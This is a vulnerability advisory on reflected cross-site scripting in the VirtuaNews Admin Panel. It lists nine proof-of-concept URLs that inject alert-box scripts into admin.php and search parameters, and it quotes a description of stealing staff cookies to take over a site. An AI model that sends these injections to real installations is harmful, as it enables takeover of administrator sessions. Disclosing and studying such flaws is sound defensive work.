===============  
1) Introduction  
===============  
  
VirtuaNews Admin Panel is a good administration software. Many  
administrators choose it  
to be their "safe door", therefore it should strong and safe. The main risk  
describes in this  
advisory is the harm that could be done to the administration staff. When  
the vulnerabilities  
concerns the staff it is more dangerous that harming users, because if a  
staff's member cookie  
is stolen, the attackers can take over the website.

2) Bug  
======  
  
The Vulnerabillity is Cross Site Scripting. If an attacker will request any  
of the following  
urls from the server:  
  
http://<host>/admin.php?"><script>alert('XSS')</script>  
http://<host>/forum/search.php?do=process&showposts=0&query=<script>alert('X  
SS')</script>  
http://<host>/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&main  
news=~~~~"></textarea><script>alert('XSS')</script>  
http://<host>/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&main  
news=~~~~"></textarea>--><script>alert('XSS')</script>  
http://<host>/admin.php?">action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&ma  
innews=~~~~"></textarea><script>alert('XSS')</script>  
http://<host>/admin.php?action=files&expand="><script>alert('XSS')</script>  
http://<host>/admin.php?action=files_cat_delete&id="><script>alert('XSS')</s  
cript>  
http://<host>/admin.php?action=files_check&catid="><script>alert('XSS')</scr  
ipt>  
http://<host>/admin.php?action=newslogo_upload&"><script>alert('XSS')</scrip  
t>  
  
XSS appears and the server allows an attacker to inject & execute scripts.  
  
In the words of securityfocus.com :  
~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
If all of these circumstances are met, an attacker may be able to exploit  
this issue  
via a malicious link containing arbitrary HTML and script code as part of  
the hostname.  
When the malicious link is clicked by an unsuspecting user, the  
attacker-supplied HTML  
and script code will be executed by their web client. This will occur  
because the server  
will echo back the malicious hostname supplied in the client's request,  
without sufficiently  
escaping HTML and script code.  
  
Attacks of this nature may make it possible for attackers to manipulate web  
content or to  
steal cookie-based authentication credentials. It may be possible to take  
arbitrary actions as the victim user.
